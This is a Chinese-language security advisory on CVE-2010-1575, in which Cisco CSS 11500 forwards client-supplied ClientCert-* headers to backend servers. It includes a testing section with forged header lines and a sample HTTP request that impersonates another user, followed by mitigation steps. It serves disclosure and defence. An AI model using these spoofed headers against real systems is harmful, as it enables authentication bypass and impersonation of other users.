Cisco CSS SSL证书欺骗漏洞


发布日期:2010-07-02
更新日期:2010-07-05

受影响系统:
Cisco CSS 11500 08.20.1.01
Cisco ACE 4710 A3(2.5)
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 41315
CVE ID: CVE-2010-1575

Cisco CSS 11500内容服务交换机是用于为数据中心提供强壮可升级网络服务(4-7层)的负载均衡设备。

在使用CSS终止SSL通讯时,首先要认证SSL客户端证书。CSS通常以以下HTTP头的形式将客户端的身份传送给后端的Web服务器:

ClientCert-Subject: XXX
ClientCert-Subject-CN: XXX
ClientCert-Fingerprint: XXX
ClientCert-Subject-CN: XXX
ClientCert-Issuer-CN: XXX
ClientCert-Certificate-Version: XXX
ClientCert-Serial-Number: XXX
ClientCert-Data-Signature-Algorithm: XXX
ClientCert-Subject: XXX
ClientCert-Issuer: XXX
ClientCert-Not-Before: XXX
ClientCert-Not-After: XXX
ClientCert-Public-Key-Algorithm: XXX
ClientCert-RSA-Modulus-Size: XXX
ClientCert-RSA-Modulus: XXX
ClientCert-RSA-Exponent: XXX
ClientCert-X509v3-Subject-Key-Identifier: XXX
ClientCert-X509v3-Authority-Key-Identifier: XXX
ClientCert-Signature-Algorithm: XXX
ClientCert-Signature: XXX

但CSS没有防范客户端提供自己的ClientCert-*头,因此攻击者可以通过伪造证书扮演为其他用户,具体取决于应用开发人员如何处理多个头拷贝。

<*来源:George D. Gal (ggal@vsecurity.com)
 
  链接:http://marc.info/?l=bugtraq&m=127808444302943&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

假设后端web应用仅信任CSS在ClientCert-Subject-CN头中所提供的身份,userX希望扮演为userY,则可以在发布给服务器的HTTP请求中注入以下HTTP头:

ClientCert-Subject-CN: CN=userY

或者

ClientCert-Subject: C=US, ST=MA, L=Boston, O=xxx, OU=xxx, CN=userY

应用会接收到以下HTTP请求:

POST /targetapp HTTP/1.1
Content-Type: text/xml; charset=utf-8
ClientCert-Subject: C=US, ST=MA, L=Boston, O=xxx, OU=xxx, CN=userY
ClientCert-Subject-CN: CN=userY
Host: test.vsecurity.com
Content-Length: 1024
ClientCert-Subject: C=US, ST=MA, L=Boston, O=xxx, OU=xxx, CN=userX
ClientCert-Subject-CN: CN=userX
ClientCert-Fingerprint: XXX
ClientCert-Subject-CN: XXX
ClientCert-Issuer-CN: XXX
ClientCert-Certificate-Version: XXX
ClientCert-Serial-Number: XXX
ClientCert-Data-Signature-Algorithm: XXX
ClientCert-Subject: XXX
ClientCert-Issuer: XXX
ClientCert-Not-Before: XXX
ClientCert-Not-After: XXX
ClientCert-Public-Key-Algorithm: XXX
ClientCert-RSA-Modulus-Size: XXX
ClientCert-RSA-Modulus: XXX
ClientCert-RSA-Exponent: XXX
ClientCert-X509v3-Subject-Key-Identifier: XXX
ClientCert-X509v3-Authority-Key-Identifier: XXX
ClientCert-Signature-Algorithm: XXX
ClientCert-Signature: XXX

由于已有的ClientCert-*头未加任何修改,应用开发人员应仅信任最后一个证书头。

建议:
--------------------------------------------------------------------------------
临时解决方法:

* 使用以下命令:

ssl-server <context> http-header prefix "<random_prefix>"

厂商补丁:

Cisco
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.cisco.com/warp/public/707/advisory.html

相关内容